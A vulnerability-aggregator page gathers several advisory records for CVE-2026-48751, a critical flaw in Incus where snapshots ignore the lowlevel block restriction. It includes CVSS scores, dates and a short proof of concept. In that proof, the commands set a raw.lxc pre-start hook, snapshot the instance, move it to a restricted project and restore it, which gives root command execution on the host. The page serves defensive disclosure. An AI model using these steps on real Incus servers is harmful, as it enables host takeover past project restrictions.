CVE-2026-48751

Incus has a restricted project bypass leading to arbitrary command execution

CVSS 3.1 9.9 CRITICALEUVD CVSS 3.1 9.9 CVSS 3.1 · [email protected] · Secondary 9.9 CRITICALCVSS_V3 Publisher rating CRITICALFixed by github.com/lxc/incus/v7/cmd/incusd 7.2.0osv · severity unknownFixed by github.com/lxc/incus/v7 7.2.0KEV status unknown

Original advisory

cve-program · CVE-2026-48751

Published

Incus is a system container and virtual machine manager. Prior to version 7.2.0, instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`. Version 7.2.0 patches the issue.

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euvd · EUVD-2026-63978

Published

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nvd · CVE-2026-48751

Published

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osv · GHSA-48q5-w887-33wv

Published

### Summary Instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`. ### Details Instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel hooks such as `raw.lxc` and `raw.qemu`. As snapshots can be moved from one server to another, a malicious instance+snapshot can be crafted locally, moved to a restricted project and the snapshot restored for arbitrary command execution. In practice, this allows a malicious actor to execute arbitrary commands on the host with root privileges. ### PoC ``` # remote, restricted incus project set rem:project restricted.true incus project set rem:project restricted.containers.lowlevel=block # locally, unrestricted project incus init images:debian/trixie rce-raw-lxc incus config set rce-raw-lxc raw.lxc='lxc.hook.pre-start = /bin/sh -c "/bin/id >/lxc-hook-prestart"' incus snapshot create rce-raw-lxc snap0 #> allow transfer to restricted project incus config unset rce-raw-lxc raw.lxc # locally, transfer and trigger incus move rce-raw-lxc rem: --mode push incus snapshot restore rem:rce-raw-lxc snap0 incus start rem:rce-raw-lxc ``` ### Impact - Bypass of project restrictions. - Arbitrary command execution on the Incus server.

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osv · GO-2026-5799

Published

Incus has a restricted project bypass leading to arbitrary command execution in github.com/lxc/incus

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Affected versions, risk and source history

Exploitation and risk

Source status

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cve-program · CVE-2026-48751

Published

Incus has a restricted project bypass leading to arbitrary command execution

Source published: 21 Aug 2026 14:21:03 UTC
Source modified: 5 Nov 2026 23:49:30 UTC
Saved here: 6 Nov 2026 01:36:41 UTC
Source terms: CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

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CVSS 3.1 · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

euvd · EUVD-2026-63978

Published

Incus is a system container and virtual machine manager. Prior to version 7.2.0, instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel …

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Aug 21, 2026, 2:21:03 PM

dateUpdated: Nov 5, 2026, 11:49:30 PM

1 related source bulletins · separate from aliases

openSUSE-SU-2026:11651-1: incus-7.4-1.1 on GA media

CVE-2026-39402 · CVE-2026-47753 · CVE-2026-48749 · CVE-2026-48750 · CVE-2026-48751 · CVE-2026-48752 · CVE-2026-48753 · CVE-2026-48754 · CVE-2026-48755 · CVE-2026-48756 · CVE-2026-48769 · CVE-2026-55621 · CVE-2026-55622 · CVE-2026-62313 · CVE-2026-62867 · CVE-2026-62940 · CVE-2026-62941 · CVE-2026-63125 · CVE-2026-63343 · CVE-2026-81500 · CVE-2026-81501

Source published: Aug 21, 2026, 2:21:03 PM (timezone not stated)
Source modified: Nov 5, 2026, 11:49:30 PM (timezone not stated)
Saved here: 15 Nov 2026 14:08:26 UTC
Source terms: ENISA EUVD · source terms and attribution apply

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EUVD CVSS 3.1 · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

nvd · CVE-2026-48751

Published

Incus is a system container and virtual machine manager. Prior to version 7.2.0, instance snapshots ignore the `restricted.containers.lowlevel=block` setting; allowing for arbitrary command execution on the Incus server by abusing lowlevel …

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-862

Original publisher date fields

published: 2026-08-21T15:16:40.527

lastModified: 2026-11-06T01:17:49.470

Source published: 21 Aug 2026 15:16:40 UTC
Source modified: 6 Nov 2026 01:17:49 UTC
Saved here: 6 Nov 2026 15:03:32 UTC
Source terms: NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · [email protected] · Secondary · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

osv · GHSA-48q5-w887-33wv

Published

Incus has a restricted project bypass leading to arbitrary command execution

Source published: 26 Jun 2026 18:33:55 UTC
Source modified: 6 Nov 2026 10:57:01 UTC
Saved here: 6 Nov 2026 11:13:14 UTC
Source terms: GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

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CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Publisher rating · CRITICAL

osv · GO-2026-5799

Published

Incus has a restricted project bypass leading to arbitrary command execution in github.com/lxc/incus

Source published: 7 Jul 2026 16:41:46 UTC
Source modified: 7 Jul 2026 20:30:14 UTC
Saved here: 24 Oct 2026 13:19:41 UTC
Source terms: OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.